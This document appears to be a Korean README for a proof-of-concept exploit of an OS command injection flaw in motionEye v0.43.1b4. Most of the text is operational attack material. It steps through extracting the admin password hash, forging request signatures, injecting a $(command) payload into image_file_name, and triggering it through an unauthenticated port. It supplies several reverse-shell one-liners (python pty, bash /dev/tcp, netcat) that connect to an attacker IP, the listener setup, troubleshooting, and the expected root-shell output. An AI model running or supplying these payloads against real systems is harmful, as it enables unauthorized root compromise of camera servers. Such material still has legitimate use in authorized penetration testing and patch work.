
MotionEye v0.43.1b4 OS Command Injection
MotionEye v0.43.1b4 OS 명령어 삽입
motionEye (모션 데몬을 위한 웹 프론트엔드)의 취약점에 대한 OS 명령어 삽입 PoC 익스플로잇입니다. 이 취약점은 image_file_name 구성 매개변수를 악용하며, 이 매개변수는 정제 없이 셸에 직접 전달되어 $(command) 서브셸 구문을 통한 임의 명령어 삽입을 허용합니다.
면책 조항: 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 무단 사용은 불법입니다.
motionEye는 image_file_name 구성 값을 셸 파일 이름 패턴으로 motion 데몬에 직접 전달합니다. Motion은 스냅샷 시점에 파일 이름 내의 $(...) 서브셸 표현식을 평가하므로, $(...) 안에 배치된 모든 명령어는 motion 프로세스를 실행하는 사용자(일반적으로 root)로 실행됩니다.
전체 공격 체인은 다음과 같습니다.
1. /etc/motioneye/motion.conf에서 admin_password 해시 읽기
↓
2. 쿠키 해시 = SHA1(admin_password_hash) 도출
↓
3. motionEye의 정확한 알고리즘을 사용하여 HMAC 서명 계산:
SHA1("METHOD:path:body:key")
↓
4. /config/{cam}/set/에 악성 구성 POST:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. 인증되지 않은 motion 제어 포트 7999를 통해 스냅샷 트리거
↓
6. Motion이 파일 이름 평가 → 명령어가 root로 실행됨
↓
7. 리버스 셸이 공격자 머신으로 연결됨
8765)/etc/motioneye/motion.conf에서 관리자 비밀번호 해시nc)타사 Python 패키지는 필요하지 않습니다. 익스플로잇은 표준 라이브러리만 사용합니다.
motionEye 구성 파일은 관리자 비밀번호를 SHA1 해시로 저장합니다. 대상에서 읽어오세요.
cat /etc/motioneye/motion.conf
@admin_password 주석 줄을 찾으세요.
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
@admin_password뒤의 값은 일반 텍스트 비밀번호가 아닌 SHA1 해시입니다. 이 해시가 익스플로잇에 필요합니다.
또한 webcontrol_port 값을 확인하세요. 이는 스냅샷을 트리거하는 데 사용되는 인증되지 않은 motion 제어 포트입니다.
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye는 이중 해시 인증 방식을 사용합니다.
일반 텍스트 비밀번호
│
▼ SHA1
admin_password ←── motion.conf에 @admin_password로 저장됨
│
▼ SHA1
cookie_hash ←── 브라우저 쿠키에 meye_password_hash로 전송됨
│
▼ HMAC 키로 사용됨
request_signature ←── 모든 API 요청의 _signature= 매개변수
익스플로잇은 구성 해시로부터 쿠키 해시를 자동으로 도출합니다.
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
수동으로 확인할 수 있습니다.
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# 출력: 238bd0f26e9f987d2dc9c0351c018e5f52534052
서명은 motionEye 소스 코드 /usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py에서 계산됩니다.
SHA1("METHOD:path:body:key")
여기서,
METHOD — HTTP 메서드 (POST)path — URI에서 _signature를 제거하고, 매개변수를 정렬하고, 값을 URL 인코딩한 후 _SIGNATURE_REGEX로 필터링한 것body — _SIGNATURE_REGEX로 필터링된 원시 JSON 본문 문자열key — _SIGNATURE_REGEX로 필터링된 admin_password 또는 admin_hash (motionEye는 둘 다 허용)_SIGNATURE_REGEX는 [a-zA-Z0-9/?_.=&{}\[\]":, -] 범위에 없는 문자를 제거하고 -로 대체합니다.
exploit.py를 열고 상단에 다음 변수를 설정하세요.
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye 웹 UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion 제어 포트 (인증 없음)
USERNAME = "admin" # 관리자 사용자 이름 (기본값: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # motion.conf에서 가져옴
LHOST = "10.10.16.153" # 리스너 IP — 대상이 이 주소에 접근 가능해야 함
LPORT = "4444" # 리스너 포트
리버스 셸 명령어는 LHOST와 LPORT에서 자동으로 설정됩니다.
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
대체 셸 명령어 — 기본값이 차단된 경우 COMMAND를 교체하세요.
# Bash TCP (간단하지만 필터링될 수 있음)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
공격 머신에서 익스플로잇을 실행하기 전에 netcat 리스너를 시작하세요.
nc -lvnp 4444
익스플로잇은 리스너 알림 메시지 출력 후 5초 동안 대기하므로, 터미널을 전환할 시간이 있습니다.
python3 exploit.py
예상 출력:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] 지금 리스너를 시작하세요:
nc -lvnp 4444
[*] 5초 후 페이로드 전송...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] 구성 저장 완료! cam=2 key=admin_password
[*] 포트 7999를 통해 스냅샷 트리거 중 (인증 없음)...
[+] cam 0 → 200 카메라 0 스냅샷 완료
[+] cam 1 → 200 카메라 1 스냅샷 완료
[+] cam 2 → 200 카메라 2 스냅샷 완료
[+] 스냅샷 트리거됨 — 10.10.16.153:4444에서 리스너 확인
리스너에서 다음과 같은 메시지를 받아야 합니다.
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
모든 요청에서 403 Unauthorized
서명이 잘못되었습니다. ADMIN_HASH 값이 motion.conf의 @admin_password 줄과 정확히 일치하는지 확인하세요. 공백이나 개행 문자가 없어야 합니다.
cat /etc/motioneye/motion.conf | grep admin_password
스냅샷이 트리거되지만 셸이 오지 않음
image_file_name 주입은 성공했지만 리버스 셸이 차단되었습니다. 4단계의 대체 COMMAND를 시도해보세요. 또한 대상이 LHOST에 접근할 수 있는지 확인하세요.
# 대상에서
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
포트 7999 연결 거부
webcontrol_localhost on 설정은 포트 7999를 로컬호스트로만 제한합니다. 익스플로잇은 대상 머신에서 실행하거나 터널을 통해 실행해야 합니다. 다음 명령으로 확인하세요.
ss -tlnp | grep 7999
motion.conf를 읽을 수 없음
파일에 높은 권한이 필요할 수 있습니다.
sudo cat /etc/motioneye/motion.conf
카메라 구성이 없음
어떤 카메라 conf 파일이 있는지 확인하고 필요에 따라 익스플로잇의 cam 목록을 업데이트하세요.
ls /etc/motioneye/camera-*.conf
| 매개변수 | 위치 | 설명 | 예시 |
|---|
MOTIONEYE_URL | exploit.py | motionEye 웹 인터페이스의 전체 URL | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | motion 제어 포트의 URL (인증 불필요) | http://127.0.0.1:7999 |
USERNAME | exploit.py | motionEye 관리자 사용자 이름 | admin |
ADMIN_HASH | exploit.py | motion.conf의 @admin_password에서 가져온 SHA1 해시 | 989c5a8e... |
LHOST | exploit.py | 공격 머신 IP — 대상이 이 주소에 접근 가능해야 함 | 10.10.16.153 |
LPORT | exploit.py | nc 리스너가 사용 중인 포트 | 4444 |